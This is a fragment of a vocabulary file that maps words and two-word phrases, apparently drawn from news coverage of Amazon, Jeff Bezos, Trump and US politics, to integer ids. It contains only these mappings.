"jedi according": 116368, "candidate says": 116369, "ma gov": 116370, "inspirational memoir": 116371, "maga psc": 116372, "contact editor": 116373, "cos": 116374, "billionaire marriage": 116375, "machines amazon": 116376, "reportedly employed": 116377, "expensive": 116378, "believes fervently": 116379, "remain unclear": 116380, "thicker waisted": 116381, "statement data": 116382, "thanking whoopi": 116383, "associates suddenly": 116384, "ms s\u00e1nchez": 116385, "rebuild": 116386, "earnings 2018": 116387, "emergency services": 116388, "colbert noted": 116389, "puzzle": 116390, "plus join": 116391, "het aldi": 116392, "took pass": 116393, "railroads charged": 116394, "incrementalism": 116395, "workers collect": 116396, "deal critics": 116397, "didier": 116398, "devastated dozens": 116399, "stresses consumer": 116400, "fake copies": 116401, "fact proving": 116402, "reward friends": 116403, "programme amazon": 116404, "gop speakerryan": 116405, "recount mania": 116406, "eve amazon": 116407, "entrepreneur aleksej": 116408, "people pre": 116409, "consummate independent": 116410, "believe key": 116411, "washington forum": 116412, "political scrutiny": 116413, "surfacing": 116414, "current massive": 116415, "adopting various": 116416, "global team": 116417, "develop plan": 116418, "cooper kth": 116419, "tweeted thank": 116420, "new trade": 116421, "raven haired": 116422, "products ivanka": 116423, "heart warming": 116424, "treating things": 116425, "uncommonly bipartisan": 116426, "ossenbeck pointed": 116427, "parkhomenko": 116428, "time away": 116429, "sharpton event": 116430, "undue financial": 116431, "pricing practice": 116432, "ultimate metaphor": 116433, "eve": 116434, "firestorm": 116435, "quickly source": 116436, "managers stocks": 116437, "165 point": 116438, "years data": 116439, "photos video": 116440, "boiled fish": 116441, "work inspired": 116442, "label sales": 116443, "parts": 116444, "introduces": 116445, "recently tapped": 116446, "departments disney": 116447, "arends 415": 116448, "just committed": 116449, "tasos": 116450, "illegal good": 116451, "highly regulated": 116452, "500": 116453, "natural ingredients": 116454, "amazon shippers": 116455, "slipped": 116456, "sold software": 116457, "dubuque financial": 116458, "month facebook": 116459, "american die": 116460, "people mccabeis": 116461, "memorandum requests": 116462, "navy blue": 116463, "faulders": 116464, "began advocating": 116465, "services uber": 116466, "67777125 cms": 116467, "defeated": 116468, "rolandsmartin rolandsmartin": 116469, "lover lauren": 116470, "spokesman told": 116471, "proposal includes": 116472, "ibm xom": 116473, "meme costumes": 116474, "starred": 116475, "132 billion": 116476, "analyst cited": 116477, "reviewer calling": 116478, "subsequent yr": 116479, "bomb packages": 116480, "making billion": 116481, "act 615": 116482, "mortgage program": 116483, "including renewed": 116484, "surprise warning": 116485, "thriving economy": 116486, "investigator recently": 116487, "political weapon": 116488, "utility": 116489, "bolsonaro threatened": 116490, "secured second": 116491, "capital costs": 116492, "ad profits": 116493, "allegorical piece": 116494, "2007 earnings": 116495, "employed 382": 116496, "consumer packed": 116497, "quite frankly": 116498, "occuring": 116499, "individual taxpayers": 116500, "jordan contract": 116501, "illuminates different": 116502, "divide runs": 116503, "paying washington": 116504, "acting pentagon": 116505, "growing retailers": 116506, "production milestone": 116507, "volatile stock": 116508, "campaign conspired": 116509, "kane": 116510, "library hulu": 116511, "presidential discourse": 116512, "publishing": 116513, "chat online": 116514, "biggest days": 116515, "subject jeff": 116516, "252": 116517, "va following": 116518, "trustee": 116519, "cathy merrill": 116520, "warning people": 116521, "train americans": 116522, "entirely silly": 116523, "biz": 116524, "downsides compare": 116525, "pushed amazon": 116526, "just sent": 116527, "rich anymore": 116528, "prime books": 116529, "kcrw": 116530, "west metro": 116531, "growing opportunity": 116532, "bloomberg close": 116533, "slowdowns": 116534, "hailed": 116535, "renewed risk": 116536, "slowing smartphone": 116537, "kirby recently": 116538, "remote streaming": 116539, "persist don": 116540, "joe robach": 116541, "adult coloring": 116542, "fan conspiracy": 116543, "comments louisiana": 116544, "mabromata": 116545, "intolerance": 116546, "usps package": 116547, "hadn looked": 116548, "inject doubt": 116549, "spirituality": 116550, "wasn exactly": 116551, "westbrook": 116552, "dollar blow": 116553, "conspiracy tirades": 116554, "stridently pro": 116555, "messages julie": 116556, "president personal": 116557, "crooked": 116558, "resist trump": 116559, "machine punctured": 116560, "senator says": 116561, "wealth tops": 116562, "data centers": 116563, "btt atob": 116564, "beast stone": 116565, "nn null": 116566, "trending hashtag": 116567, "status today": 116568, "quiet week": 116569, "schooled amazon": 116570, "pinpoint timing": 116571, "shira ovide": 116572, "compared google": 116573, "video interview": 116574, "public access": 116575, "political adversary": 116576, "810 words": 116577, "help offset": 116578, "important counter": 116579, "breaks read": 116580, "appropriate changes": 116581, "competitor trump": 116582, "satisfactory conclusion": 116583, "include judge": 116584, "unsafe parts": 116585, "looting society": 116586, "trump sat": 116587, "brooklyn dropped": 116588, "colloidal silver": 116589, "errol louis": 116590, "students reach": 116591, "cities person": 116592, "disclose closely": 116593, "endeavour": 116594, "discounts aplenty": 116595, "metahelm skykick": 116596, "pompeo policy": 116597, "biggest gain": 116598, "wreaking": 116599, "hold position": 116600, "boot entitled": 116601, "growth company": 116602, "1977 donald": 116603, "unmatched republican": 116604, "entrepreneur running": 116605, "companies shipping": 116606, "secured fundraising": 116607, "included editorial": 116608, "new addition": 116609, "protecting kids": 116610, "fat idiq": 116611, "giant collusion": 116612, "government employee": 116613, "turned investigative": 116614, "bloodbath": 116615, "india launch": 116616, "1021370601863294977": 116617, "don moisturize": 116618, "new beast": 116619, "french publisher": 116620, "incredible unstoppable": 116621, "publicised revival": 116622, "pretty quiet": 116623, "diner": 116624, "modern economy": 116625, "intercepts president": 116626, "withdrawal report": 116627, "walker sands": 116628, "tomorrow big": 116629, "science youtube": 116630, "alleged attempt": 116631, "amazon prying": 116632, "entirely false": 116633, "8211": 116634, "presidential intervention": 116635, "2018 johnston": 116636, "rise oprah": 116637, "notorious": 116638, "vice sandra": 116639, "tigers": 116640, "offer rival": 116641, "cio chief": 116642, "herefor": 116643, "meaningfully reassure": 116644, "mark allege": 116645, "bieber modi": 116646, "stricter prudential": 116647, "gmv": 116648, "commerce push": 116649, "boyd told": 116650, "administration officers": 116651, "inspired senator": 116652, "floor": 116653, "defeat": 116654, "000 tariff": 116655, "barbara pariente": 116656, "trump turbulent": 116657, "proves": 116658, "usa sad": 116659, "pursued defense": 116660, "soundbite": 116661, "act earlier": 116662, "intersection hours": 116663, "operators dave": 116664, "republicans votes": 116665, "reach business": 116666, "sweeping": 116667, "growing faster": 116668, "just look": 116669, "matter donald": 116670, "000 workers": 116671, "rt uksmallbizrt": 116672, "westjet deal": 116673, "beholder president": 116674, "dusts new": 116675, "problematic sites": 116676, "company named": 116677, "uncle donny": 116678, "media plan": 116679, "micro virtual": 116680, "flynn airs": 116681, "fold unsafe": 116682, "frank pasquale": 116683, "nyt writes": 116684, "herdener told": 116685, "amazon hired": 116686, "democracy paraphrasing": 116687, "amazon vendetta": 116688, "start selling": 116689, "big umbrella": 116690, "streaming platforms": 116691, "new projections": 116692, "trump targeted": 116693, "replace uber": 116694, "trope": 116695, "sears liquidation": 116696, "mnuchin says": 116697, "year pausing": 116698, "approval copyright": 116699, "abby phillip": 116700, "tech titan": 116701, "border elections": 116702, "deserving individuals": 116703, "including ordering": 116704, "favourite stupid": 116705, "multicarrier properties": 116706, "burgeoning delivery": 116707, "homogenized": 116708, "115 pounds": 116709, "gaines founder": 116710, "giant announced": 116711, "netflix missed": 116712, "playing recording": 116713, "tammy": 116714, "kwame": 116715, "hollywood image": 116716, "type a7": 116717, "hour sale": 116718, "profit margins": 116719, "publicly told": 116720, "service reforms": 116721, "capital interviews": 116722, "dies merely": 116723, "raised money": 116724, "2002": 116725, "rampaging": 116726, "popular videogames": 116727, "deal itselfit": 116728, "duty payments": 116729, "feinstein blow": 116730, "markets trading": 116731, "alleged antitrust": 116732, "gag order": 116733, "habits instead": 116734, "buffett according": 116735, "mcgowan sessions": 116736, "weather linked": 116737, "company cut": 116738, "garofalo": 116739, "current employees": 116740, "bannon saying": 116741, "congress oversight": 116742, "continue president": 116743, "investment guru": 116744, "called camp": 116745, "bezos record": 116746, "retailer dominance": 116747, "cuts michael": 116748, "big cloud": 116749, "wrapping amazon": 116750, "mashable pbs": 116751, "excelsior": 116752, "downtown building": 116753, "robbers": 116754, "people cattle": 116755, "g7 joint": 116756, "tokyo 20874": 116757, "fund qualified": 116758, "book hasn": 116759, "communitybut": 116760, "detroit big": 116761, "post analysis": 116762, "professional advocates": 116763, "episode serves": 116764, "swap stories": 116765, "socialism medicare": 116766, "toddlers running": 116767, "business relationship": 116768, "ruining money": 116769, "mixed fortunes": 116770, "injected": 116771, "community nad": 116772, "silver springs": 116773, "investors tend": 116774, "took control": 116775, "post market": 116776, "tl": 116777, "ami emanu": 116778, "ta a4ee": 116779, "companies approved": 116780, "usatoda rt": 116781, "tech leaders": 116782, "photographer bess": 116783, "offer specific": 116784, "kavanaugh scandal": 116785, "undercover": 116786, "organization member": 116787, "man close": 116788, "stock recently": 116789, "delegation reacted": 116790, "twisted twitter": 116791, "cold paterson": 116792, "storefronts": 116793, "msnbc rtamericanews": 116794, "hit 470": 116795, "jersey apartment": 116796, "jtalton seattletimes": 116797, "did recently": 116798, "divvied": 116799, "winners 2018": 116800, "forecasting future": 116801, "extra discounts": 116802, "conspiracy simply": 116803, "brilliance": 116804, "technology globalization": 116805, "fringe subsidiary": 116806, "disturbed": 116807, "beats abound": 116808, "ofthe company": 116809, "yeltsin": 116810, "don yes": 116811, "older doctrine": 116812, "motivation druckenmiller": 116813, "oil monarchies": 116814, "american city": 116815, "post steep": 116816, "community advisor": 116817, "sessions confer": 116818, "microsoft msft": 116819, "trump damages": 116820, "leader michael": 116821, "workers particularly": 116822, "sad true": 116823, "shooting video": 116824, "laws fairly": 116825, "dealer inner": 116826, "little room": 116827, "intimate moments": 116828, "leadership senior": 116829, "haverty rick": 116830, "released album": 116831, "reach 1tn": 116832, "trump installed": 116833, "gained notoriety": 116834, "cnn usa": 116835, "promising arrangement": 116836, "election editor": 116837, "completely opposed": 116838, "bond villain": 116839, "aka naz": 116840, "largest commercial": 116841, "hulu": 116842, "measures passed": 116843, "million renters": 116844, "sells mar": 116845, "story ceos": 116846, "quiere arrebatar": 116847, "world billion": 116848, "alibaba efforts": 116849, "chye ching": 116850, "frum writes": 116851, "eric": 116852, "democratic surge": 116853, "300 stores": 116854, "hawker centre": 116855, "digits wmur": 116856, "maria shriver": 116857, "punchlines dating": 116858, "customer doorstep": 116859, "asfouri": 116860, "2012 paid": 116861, "investigations conducted": 116862, "years cowen": 116863, "hosting amazon": 116864, "canceled boeing": 116865, "news site": 116866, "little rejected": 116867, "commission bundle": 116868, "post pointed": 116869, "community concerns": 116870, "used data": 116871, "quarter began": 116872, "barely chose": 116873, "section reporter": 116874, "political activity": 116875, "civilization": 116876, "flawed valuable": 116877, "fmr": 116878, "add money": 116879, "update adds": 116880, "channels included": 116881, "predicted cost": 116882, "vacant right": 116883, "maher 11th": 116884, "largest plane": 116885, "accounting team": 116886, "frank luntz": 116887, "international pact": 116888, "scorching": 116889, "thanked mccain": 116890, "harshita rawat": 116891, "simple mindset": 116892, "feathers": 116893, "commerce points": 116894, "medical officer": 116895, "experiencing tremendous": 116896, "followed frenzied": 116897, "assist launch": 116898, "virgin atlantic": 116899, "apple plans": 116900, "sixties": 116901, "cease promotion": 116902, "list democrats": 116903, "references rated": 116904, "continuing tech": 116905, "ran series": 116906, "peaks": 116907, "amazon crony": 116908, "states vice": 116909, "political nature": 116910, "return trips": 116911, "urged employees": 116912, "wait months": 116913, "chairman jay": 116914, "education company": 116915, "really make": 116916, "enquirer reporters": 116917, "service private": 116918, "1980s israeli": 116919, "cruz": 116920, "shares cranbrook": 116921, "bed sheets": 116922, "saw using": 116923, "leveraged": 116924, "toponymie": 116925, "rousseff mour\u00e3o": 116926, "nba trade": 116927, "google parent": 116928, "clear definition": 116929, "glass houses": 116930, "motivated": 116931, "skid 600": 116932, "called monopoly": 116933, "poster power": 116934, "directing": 116935, "800 american": 116936, "monroe partners": 116937, "mortar downtowns": 116938, "obama 2020": 116939, "blue moon": 116940, "small vendors": 116941, "leaving hateful": 116942, "navy veterans": 116943, "merril hoge": 116944, "salesman": 116945, "deandre": 116946, "lobbying company": 116947, "stribling": 116948, "charter school": 116949, "trump strangely": 116950, "vast wealth": 116951, "deliveries labor": 116952, "media event": 116953, "needed boost": 116954, "pay flat": 116955, "beijing chinese": 116956, "bush attorney": 116957, "pr standpoint": 116958, "impressive library": 116959, "groceries delivered": 116960, "amazon wrapping": 116961, "transgender actors": 116962, "obstacles help": 116963, "dior": 116964, "sanders ideas": 116965, "brian fears": 116966, "satire newspapers": 116967, "smart trademark": 116968, "james kanter": 116969, "abuse obama": 116970, "fully": 116971, "effort merely": 116972, "lendedu": 116973, "italian filmmaker": 116974, "fake ceo": 116975, "bezos credit": 116976, "brazilian officials": 116977, "mousa": 116978, "purchases retail": 116979, "standoff unfolding": 116980, "shop online": 116981, "savings products": 116982, "teachers fought": 116983, "resistance movements": 116984, "sufficient funds": 116985, "read post": 116986, "video_sourcename": 116987, "phone android": 116988, "overall fraud": 116989, "cartoon corner": 116990, "independent companies": 116991, "tech guardiantech": 116992, "house introduced": 116993, "monopoly regulation": 116994, "fedex chief": 116995, "finance laws": 116996, "averts disaster": 116997, "trump squabble": 116998, "lesson parents": 116999, "just won": 117000, "bayer": 117001, "vendor operations": 117002, "cuts savings": 117003, "forest forbes": 117004, "gathered": 117005, "faced amazon": 117006, "strong backer": 117007, "star reports": 117008, "referencing amazon": 117009, "hq2 leaker": 117010, "probably crest": 117011, "wang general": 117012, "150 included": 117013, "school kidnapping": 117014, "moet": 117015, "instagram account": 117016, "plutocrat scumbags": 117017, "predicted": 117018, "award springer": 117019, "vast corporate": 117020, "max nisen": 117021, "rated pants": 117022, "202": 117023, "nexus": 117024, "finals golden": 117025, "late shares": 117026, "read trump": 117027, "school shooting": 117028, "constantly criticising": 117029, "avod": 117030, "viacom": 117031, "powerful positions": 117032, "misogyny": 117033, "henniger deputy": 117034, "billion campus": 117035, "ballot count": 117036, "mainstream brand": 117037, "carrier tomorrow": 117038, "marty phrase": 117039, "stone readers": 117040, "drilling": 117041, "displace tens": 117042, "original cost": 117043, "preys": 117044, "iterated": 117045, "615": 117046, "hurt profits": 117047, "extension possible": 117048, "shouts": 117049, "clipa2": 117050, "abc jeff": 117051, "names scoops": 117052, "somewhat trouble": 117053, "dealership": 117054, "observer business": 117055, "don buy": 117056, "called pharmacy": 117057, "billionaire businessman": 117058, "toby realizes": 117059, "book include": 117060, "quote background": 117061, "better uniforms": 117062, "negative earnings": 117063, "pretty normal": 117064, "st paul": 117065, "dorie clark": 117066, "mt oct": 117067, "salles says": 117068, "concealing hush": 117069, "playing jeff": 117070, "grisly adrenaline": 117071, "retire": 117072, "amazon attend": 117073, "resorting": 117074, "normal tax": 117075, "supersede": 117076, "diet": 117077, "forfeiture": 117078, "spitz": 117079, "represents roughly": 117080, "stop comcast": 117081, "following cranial": 117082, "salami": 117083, "moody": 117084, "raad studio": 117085, "twitter blasts": 117086, "won approval": 117087, "investment trust": 117088, "indianapolis long": 117089, "scientist reveals": 117090, "meuller investigation": 117091, "similar activities": 117092, "amidst accusations": 117093, "competitive free": 117094, "founding": 117095, "branch atif": 117096, "anthony hopkins": 117097, "launched service": 117098, "uranium imports": 117099, "trump cnbc": 117100, "employees": 117101, "contradicted number": 117102, "street": 117103, "brief": 117104, "vulcan": 117105, "strong hold": 117106, "buy smart": 117107, "actually day": 117108, "make rapes": 117109, "competitors additionally": 117110, "kirsten gillibrand": 117111, "price controls": 117112, "old age": 117113, "recession low": 117114, "headlineplaintext colbert": 117115, "axios cites": 117116, "flicking": 117117, "sketch ingraham": 117118, "matthew kirincic": 117119, "pickled cucumbers": 117120, "excluded": 117121, "ogr": 117122, "pages available": 117123, "ryanpoe": 117124, "greatly missed": 117125, "excluding debt": 117126, "new services": 117127, "hendricks john": 117128, "face forward": 117129, "solicitation conservative": 117130, "poor worker": 117131, "mcconnell retain": 117132, "biden pulled": 117133, "shoulder": 117134, "stows gloves": 117135, "inc_prtid": 117136, "california bank": 117137, "bought 590": 117138, "news raised": 117139, "protest wars": 117140, "daniel roberts": 117141, "house ending": 117142, "includes google": 117143, "claims people": 117144, "souq": 117145, "new episodes": 117146, "total number": 117147, "htc": 117148, "ring": 117149, "amazon stormy": 117150, "2017 mar": 117151, "nonsupervisory": 117152, "national left": 117153, "dining guide": 117154, "father wrote": 117155, "redux effort": 117156, "quarter corporations": 117157, "unresolved pension": 117158, "office grant": 117159, "embarrassed isn": 117160, "sexual predator": 117161, "trailforks yelp": 117162, "abc": 117163, "140 million": 117164, "schweitzer": 117165, "building spree": 117166, "glaringly": 117167, "player": 117168, "new 2019": 117169, "ncosh": 117170, "function showspinner": 117171, "cfo conference": 117172, "border crossing": 117173, "retailers face": 117174, "washington andrew": 117175, "business utm_medium": 117176, "started looking": 117177, "federal individual": 117178, "president says": 117179, "lander": 117180, "include liberal": 117181, "venezuela edited": 117182, "pay equity": 117183, "healthcare plans": 117184, "saviors super": 117185, "article posted": 117186, "fiscally responsible": 117187, "bolsonaro told": 117188, "international freight": 117189, "authorization": 117190, "content mozart": 117191, "unionized": 117192, "sell live": 117193, "immediately began": 117194, "accurate description": 117195, "having negotiated": 117196, "wusa": 117197, "reform talks": 117198, "adviser stone": 117199, "ordering trump": 117200, "relative earnings": 117201, "improved retirement": 117202, "elizabeth cavazos": 117203, "loves amazon": 117204, "stay employed": 117205, "theft typically": 117206, "jet airways": 117207, "stephanopoulos asking": 117208, "political operative": 117209, "countless gadgets": 117210, "horrible turning": 117211, "everybody knows": 117212, "small buy": 117213, "american experience": 117214, "cities far": 117215, "island democratic": 117216, "significant earnings": 117217, "story heres": 117218, "alas means": 117219, "2019_10 2776086": 117220, "acting opioid": 117221, "active carouselcontentitems": 117222, "colluding": 117223, "arrival compared": 117224, "identify shooter": 117225, "blueprints": 117226, "followed bartlett": 117227, "wedding rehearsal": 117228, "disabilities haven": 117229, "considered investing": 117230, "department cooperation": 117231, "east africa": 117232, "claudia": 117233, "described difficult": 117234, "evaluate dissect": 117235, "convince judge": 117236, "bezos buying": 117237, "business deals": 117238, "poignant": 117239, "amzn isn": 117240, "completely convinced": 117241, "tiaa": 117242, "cost standards": 117243, "midterms mean": 117244, "floor vacant": 117245, "including embarrassing": 117246, "inc_custom_pubdate": 117247, "withdrawal symptoms": 117248, "apg media": 117249, "threatened antitrust": 117250, "just state": 117251, "antczak ap": 117252, "explosions": 117253, "steveschmidtses tweeted": 117254, "bad stories": 117255, "example report": 117256, "hunger": 117257, "prize toronto": 117258, "raising questions": 117259, "committee replacing": 117260, "justawittybit justawittybit": 117261, "inventory according": 117262, "post yesterday": 117263, "free generally": 117264, "mistress leaked": 117265, "cases monetized": 117266, "invasion guess": 117267, "secretary nielsen": 117268, "genetic anomalies": 117269, "imdb": 117270, "san carlos": 117271, "service john": 117272, "investigator man": 117273, "needlessly smart": 117274, "just regret": 117275, "paying passenger": 117276, "opposed moving": 117277, "allegory": 117278, "illiterate partially": 117279, "ina lee": 117280, "ch\u00e1vez": 117281, "cohen paying": 117282, "exploits workers": 117283, "rep eric": 117284, "philadelphia semiconductor": 117285, "corporate cronyism": 117286, "hid": 117287, "wage helps": 117288, "downplayed": 117289, "biometric info": 117290, "rent food": 117291, "2019 offering": 117292, "trump remains": 117293, "report determined": 117294, "tjx": 117295, "founder tariq": 117296, "john weiler": 117297, "status 998660306225201153": 117298, "axel": 117299, "special place": 117300, "meet george": 117301, "duriyapat": 117302, "street global": 117303, "doesn run": 117304, "llc decreased": 117305, "folks understand": 117306, "department commerce": 117307, "mark burnett": 117308, "identify charity": 117309, "senior privacy": 117310, "choose locations": 117311, "industries yes": 117312, "billion monopoly": 117313, "2019 granting": 117314, "thematter": 117315, "population data": 117316, "suit doesn": 117317, "showtime run": 117318, "reuters says": 117319, "actually pay": 117320, "legal community": 117321, "returns california": 117322, "finger": 117323, "workers local": 117324, "consequences rep": 117325, "animated medieval": 117326, "class talent": 117327, "sens chris": 117328, "bad reputation": 117329, "potentially dismantling": 117330, "pressed brennan": 117331, "elevated level": 117332, "endurance": 117333, "union leader": 117334, "american universities": 117335, "lists amazon": 117336, "idina": 117337, "flouting local": 117338, "used cars": 117339, "liberal candidate": 117340, "talented residents": 117341, "room guide": 117342, "crisis financial": 117343, "boycottwalmart campaign": 117344, "immigration studies": 117345, "incurs": 117346, "holiday wish": 117347, "fake washington": 117348, "politicians read": 117349, "city protesters": 117350, "special issue": 117351, "lived american": 117352, "hammacher schlemmer": 117353, "kids daytime": 117354, "attained": 117355, "day traders": 117356, "just juicy": 117357, "words regarding": 117358, "kevin mccarthykevin": 117359, "growth expectations": 117360, "food stamps": 117361, "immersive": 117362, "remarks sinclair": 117363, "excessive chair": 117364, "socially divisive": 117365, "manhattan right": 117366, "steal trade": 117367, "package deliveries": 117368, "substitute obama": 117369, "delano breakfast": 117370, "loss amazon": 117371, "faked news": 117372, "matthew hunt": 117373, "sophia study": 117374, "drug interdiction": 117375, "market currencies": 117376, "repairs sharaab": 117377, "smotivations": 117378, "cummings md": 117379, "flew workers": 117380, "450 amazon": 117381, "outlet adding": 117382, "customers shipping": 117383, "companies bread": 117384, "plain sight": 117385, "jpmorgan": 117386, "legal radar": 117387, "massachusetts": 117388, "shutdown fails": 117389, "lynch mobs": 117390, "giant according": 117391, "31st avenue": 117392, "signaling contradictory": 117393, "deputy mira": 117394, "arj1kzbh5h dave": 117395, "reopening negotiations": 117396, "sent 810": 117397, "blast": 117398, "suppress negative": 117399, "company expected": 117400, "kauffman william": 117401, "ritchie torres": 117402, "based compensation": 117403, "997": 117404, "fsf9szc24h subcomandante": 117405, "speech created": 117406, "seek legislation": 117407, "senator charles": 117408, "selected town": 117409, "biggest hit": 117410, "sentiments": 117411, "amazon secure": 117412, "tilting": 117413, "copy content": 117414, "stock performs": 117415, "lander named": 117416, "modernizing records": 117417, "shot multiple": 117418, "prohibit federal": 117419, "preservation business": 117420, "doorn": 117421, "second homes": 117422, "results publisher": 117423, "progressive groups": 117424, "st croix": 117425, "extra shortly": 117426, "female fetus": 117427, "equipment arena": 117428, "times points": 117429, "sees delay": 117430, "bezos paramour": 117431, "company spokesperson": 117432, "media_0 adsection": 117433, "available freaky": 117434, "left unanswered": 117435, "test launched": 117436, "multiplied": 117437, "racist regime": 117438, "sotomayor houses": 117439, "assets accumulated": 117440, "accurate independent": 117441, "street losses": 117442, "parkland survivor": 117443, "previously regulated": 117444, "gtld": 117445, "network success": 117446, "file petitions": 117447, "kept finding": 117448, "leash": 117449, "tech domination": 117450, "serving unfair": 117451, "uncertainties important": 117452, "aapl iphone": 117453, "shipment citigroup": 117454, "attack warning": 117455, "trump arrival": 117456, "intraif": 117457, "memberships": 117458, "business donated": 117459, "bombardment": 117460, "mous covering": 117461, "delivery capabilities": 117462, "newsday amazon": 117463, "_blank a4ee": 117464, "local incentives": 117465, "abbate": 117466, "repeatedly lodged": 117467, "mild blow": 117468, "flake alongside": 117469, "shares johnson": 117470, "advent capital": 117471, "features caramel": 117472, "processors access": 117473, "huppert noah": 117474, "honda": 117475, "fresh ballot": 117476, "nevertrump": 117477, "iguana welcome": 117478, "penalize employees": 117479, "proud": 117480, "linkedin tumblr": 117481, "renowned investigative": 117482, "apple new": 117483, "sweet valley": 117484, "topping apple": 117485, "incorrectly asserted": 117486, "news series": 117487, "typeface pic": 117488, "adjustable stand": 117489, "independent entities": 117490, "nbc mueller": 117491, "mackenzie source": 117492, "hobo hipster": 117493, "reform 2019": 117494, "vp": 117495, "warns tim": 117496, "necessity given": 117497, "phone text": 117498, "remember senator": 117499, "cnbc notes": 117500, "referenced trump": 117501, "b0": 117502, "lungs inhales": 117503, "ball rolling": 117504, "ny1": 117505, "valid defense": 117506, "hood": 117507, "mystery": 117508, "rabbi emeritus": 117509, "towns": 117510, "make workers": 117511, "autopsy scott": 117512, "wont pay": 117513, "negotiations claims": 117514, "technological giants": 117515, "department president": 117516, "sales model": 117517, "encourage associates": 117518, "rainforest affectionately": 117519, "andes": 117520, "breaks lose": 117521, "muir": 117522, "bite initially": 117523, "repeated allegations": 117524, "maisel amazon": 117525, "2507": 117526, "winston": 117527, "federal agents": 117528, "benefactor": 117529, "serving powerful": 117530, "sources inside": 117531, "amazon solid": 117532, "clayborne": 117533, "sermon": 117534, "bottger": 117535, "largest brick": 117536, "warriors wearing": 117537, "prices high": 117538, "video soon": 117539, "called indefinite": 117540, "street really": 117541, "team trump": 117542, "rip": 117543, "executive good": 117544, "founder told": 117545, "barren warehouses": 117546, "harlem": 117547, "climate protection": 117548, "emotional": 117549, "iche": 117550, "events cnn": 117551, "delivery business": 117552, "solutions given": 117553, "harrigan teaches": 117554, "comment source": 117555, "titled global": 117556, "pooh comparisons": 117557, "successor": 117558, "dispense": 117559, "courtesy nancy": 117560, "list amazon": 117561, "diego team": 117562, "bolton warns": 117563, "physically separate": 117564, "years reagan": 117565, "nbsp cloud": 117566, "trump chances": 117567, "environmental waste": 117568, "lumped": 117569, "urgent reform": 117570, "ninemsn": 117571, "giant virginia": 117572, "yasuda asset": 117573, "fully reaching": 117574, "secret lover": 117575, "avila": 117576, "future financial": 117577, "real check": 117578, "amplified": 117579, "demonstrated": 117580, "silverman": 117581, "youtube exec": 117582, "strawberries led": 117583, "urging bezos": 117584, "bourne": 117585, "businesses reliable": 117586, "significant aspects": 117587, "damaged defective": 117588, "perfect beach": 117589, "kidman": 117590, "jeffrey cramer": 117591, "publishing intimate": 117592, "bag": 117593, "conservative bias": 117594, "soaked deep": 117595, "exceeding sales": 117596, "fantastic charter": 117597, "oliver did": 117598, "likecompany": 117599, "airlines equal": 117600, "starry cast": 117601, "york brian": 117602, "vertical": 117603, "exec wouldn": 117604, "simmering cold": 117605, "subsequently opened": 117606, "missing": 117607, "feedback help": 117608, "shutterstock jair": 117609, "receive possible": 117610, "reason people": 117611, "trucks making": 117612, "america treats": 117613, "drug costs": 117614, "paper bakalar": 117615, "maker harley": 117616, "martialed": 117617, "bathroom bel": 117618, "private actions": 117619, "function yb": 117620, "decent values": 117621, "wrong china": 117622, "new ministry": 117623, "launched news": 117624, "nations general": 117625, "ya rocket": 117626, "future package": 117627, "si": 117628, "shelters local": 117629, "tenn speaks": 117630, "canada arkells": 117631, "thrilled carrell": 117632, "gender identity": 117633, "travel destinations": 117634, "easy transporting": 117635, "significant step": 117636, "educated residents": 117637, "studies": 117638, "housing costs": 117639, "amazon named": 117640, "employ 500": 117641, "original publishers": 117642, "director peter": 117643, "portfolio beck": 117644, "war tracker": 117645, "associates say": 117646, "stanley nyse": 117647, "change saying": 117648, "butnick tablet": 117649, "california sets": 117650, "trent": 117651, "uffe": 117652, "unpublished materials": 117653, "bezos revealed": 117654, "dicks returns": 117655, "direct amazon": 117656, "time report": 117657, "spout": 117658, "cadets": 117659, "funded incentives": 117660, "story sap": 117661, "intervention services": 117662, "biggest boost": 117663, "lurid tabloid": 117664, "technologies separate": 117665, "accompany gyllenhaal": 117666, "eats reloaded": 117667, "leftward": 117668, "trump trip": 117669, "different matter": 117670, "teenage romantic": 117671, "won steal": 117672, "community": 117673, "ttab refusal": 117674, "device business": 117675, "sou": 117676, "mcd reports": 117677, "organic facility": 117678, "castaldo": 117679, "focus cars": 117680, "began using": 117681, "billionaires list": 117682, "employment small": 117683, "ditch revenue": 117684, "blocking users": 117685, "compared sanders": 117686, "half plans": 117687, "companies reduces": 117688, "beloved street": 117689, "sinister way": 117690, "act decisively": 117691, "today approved": 117692, "divisive figure": 117693, "lisa gilbert": 117694, "public nashville": 117695, "vogue reported": 117696, "media impact": 117697, "free midday": 117698, "tire deal": 117699, "investigation remember": 117700, "utm_source": 117701, "sinclair acquisition": 117702, "years american": 117703, "bradlander cmenchaca": 117704, "lacks legitimate": 117705, "2019 lee": 117706, "region including": 117707, "biggest weapon": 117708, "rating health": 117709, "agency dea": 117710, "teaches marketing": 117711, "fruitless": 117712, "sharks": 117713, "plant opening": 117714, "journey defeat": 117715, "workers imagine": 117716, "considered breaking": 117717, "harir st": 117718, "steps seemingly": 117719, "national profile": 117720, "business news": 117721, "revision": 117722, "purpose hq2": 117723, "agricultural land": 117724, "economy president": 117725, "exchange bringing": 117726, "kingdom ex": 117727, "presstv reported": 117728, "gabriela": 117729, "usually invests": 117730, "dccc alum": 117731, "initiative attracted": 117732, "willy wonka": 117733, "rockstars": 117734, "author wrote": 117735, "ago lineal": 117736, "kept safe": 117737, "currently employs": 117738, "tonya powers": 117739, "workers nationwide": 117740, "bess adler": 117741, "economic miracle": 117742, "weak putin": 117743, "bargain levels": 117744, "ongoing contracts": 117745, "archive shows": 117746, "businesses bezos": 117747, "local relationships": 117748, "senate democratic": 117749, "packages year": 117750, "idiotic behaviour": 117751, "union leaders": 117752, "hard hq2": 117753, "michael nathanson": 117754, "make slight": 117755, "drug administration": 117756, "shareholder returns": 117757, "reuters sees": 117758, "physical exam": 117759, "chung news": 117760, "491 shares": 117761, "demise amazon": 117762, "competitive defenses": 117763, "watching trevor": 117764, "kennedy mold": 117765, "keaten sent": 117766, "fuel production": 117767, "editor prowrestlingnet": 117768, "investigate unsafe": 117769, "acquisition don": 117770, "clifford": 117771, "little guys": 117772, "visit miamibookfair": 117773, "problem strongly": 117774, "early 1993": 117775, "4k": 117776, "spendvalentine": 117777, "sen andrea": 117778, "reading": 117779, "prominent figures": 117780, "predictive": 117781, "big budget": 117782, "stephanie johnson": 117783, "tank calculated": 117784, "writing": 117785, "aki": 117786, "clip gov": 117787, "thedailybeast": 117788, "policy discussion": 117789, "commercial physical": 117790, "season dragged": 117791, "dress code": 117792, "lacks funding": 117793, "candidate bolsonaro": 117794, "soybeans earlier": 117795, "political statement": 117796, "eclipsed microsoft": 117797, "fanatics": 117798, "pearl award": 117799, 